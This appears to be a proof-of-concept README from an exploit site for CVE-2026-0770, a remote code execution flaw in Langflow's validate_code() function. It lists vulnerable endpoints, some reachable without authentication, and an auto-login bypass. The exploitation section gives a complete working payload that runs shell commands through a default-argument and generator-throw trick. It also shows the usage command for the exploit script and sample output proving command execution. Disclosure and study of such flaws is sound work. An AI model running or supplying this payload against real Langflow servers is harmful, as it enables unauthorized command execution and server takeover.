Share
## https://sploitus.com/exploit?id=360E931F-6BAA-5EF5-B37A-369E51501924
# CVE-2026-0770 - Langflow Remote Code Execution

## Summary

Langflow contains a critical remote code execution vulnerability in the `validate_code()` function located in `src/lfx/src/lfx/custom/validate.py`. The function uses `exec()` to execute user-supplied Python code without sandboxing, allowing arbitrary command execution on the server.

## Affected Versions

- Langflow latest (as of 7 Feb 2026)

## Other CVEs

Similar vulnerabilities have been identified in related functions and endpoints:

- CVE-2026-0772
- CVE-2026-0771
- CVE-2026-0769
- CVE-2026-0768
- CVE-2026-0767

## Vulnerability Details

The `validate_code()` function parses user-supplied code and executes function definitions using `exec()`:

```python
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "", "exec")
        exec(code_obj, exec_globals)  # <-- Arbitrary code execution
```

The `exec_globals` context includes access to `importlib` and Python builtins, allowing attackers to import dangerous modules (`os`, `subprocess`, `socket`) and execute arbitrary system commands.

## Vulnerable Endpoints

| Endpoint | Authentication | Attack Vector |
|----------|----------------|---------------|
| `POST /api/v1/validate/code` | Required* | Direct code submission |
| `POST /api/v1/custom_component` | Required* | Code in component definition |
| `POST /api/v1/custom_component/update` | Required* | Code in component update |
| `POST /api/v1/webhook/{flow_id}` | **None** | Flow with code components |
| `POST /api/v1/build_public_tmp/{flow_id}/flow` | **None** | Public flow execution |

\* Authentication can be bypassed when `AUTO_LOGIN=true` (the default configuration)

## Other Vulnerable Functions

The following functions in `validate.py` also use unsafe `exec()`:

| Function | Line | Description |
|----------|------|-------------|
| `validate_code()` | 66 | Validates user code |
| `eval_function()` | 140 | Evaluates function strings |
| `execute_function()` | 182 | Executes arbitrary functions |
| `create_function()` | 227 | Creates functions from code |
| `create_class()` | 241-442 | Creates classes via `prepare_global_scope()` and `build_class_constructor()` |

## Exploitation

### The Generator Throw Trick

The `validate_code()` function only executes function *definitions*, not function calls. To achieve code execution with output exfiltration, we exploit Python's evaluation order for default arguments.

**Key insight:** Default argument expressions are evaluated at function *definition* time, not when the function is called.

```python
def foo(x=print("I execute immediately")):
    pass
```

However, we need to exfiltrate output through the HTTP response. The endpoint returns errors in the response body, so we need to raise an exception containing our output.

**Problem:** `raise` is a statement, not an expression, so it can't be used directly in a default argument.

**Solution:** Use a generator's `.throw()` method, which raises an exception and IS an expression:

```python
(_ for _ in ()).throw(Exception("output here"))
```

This creates an empty generator and immediately throws an exception. Combined with a lambda to capture command output:

```python
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass
```

**Execution flow:**
1. `exec()` runs the function definition
2. Default argument `_=...` is evaluated immediately
3. `subprocess.run()` executes the command
4. Lambda receives the result and calls generator `.throw()`
5. Exception is raised with command output
6. `validate_code()` catches it and returns error in response

## Usage

```bash
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"
```

### Options

| Flag | Description |
|------|-------------|
| `-t, --target` | Target URL (required) |
| `-c, --command` | Command to execute (default: `id && whoami`) |
| `-k, --token` | JWT token (optional, uses auto-login by default) |

## Example Output (From Docker Container langflowai/langflow:latest - 7 Feb 2026)

```
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
```

## References

- Langflow GitHub: https://github.com/langflow-ai/langflow
- Vulnerable file: `src/lfx/src/lfx/custom/validate.py`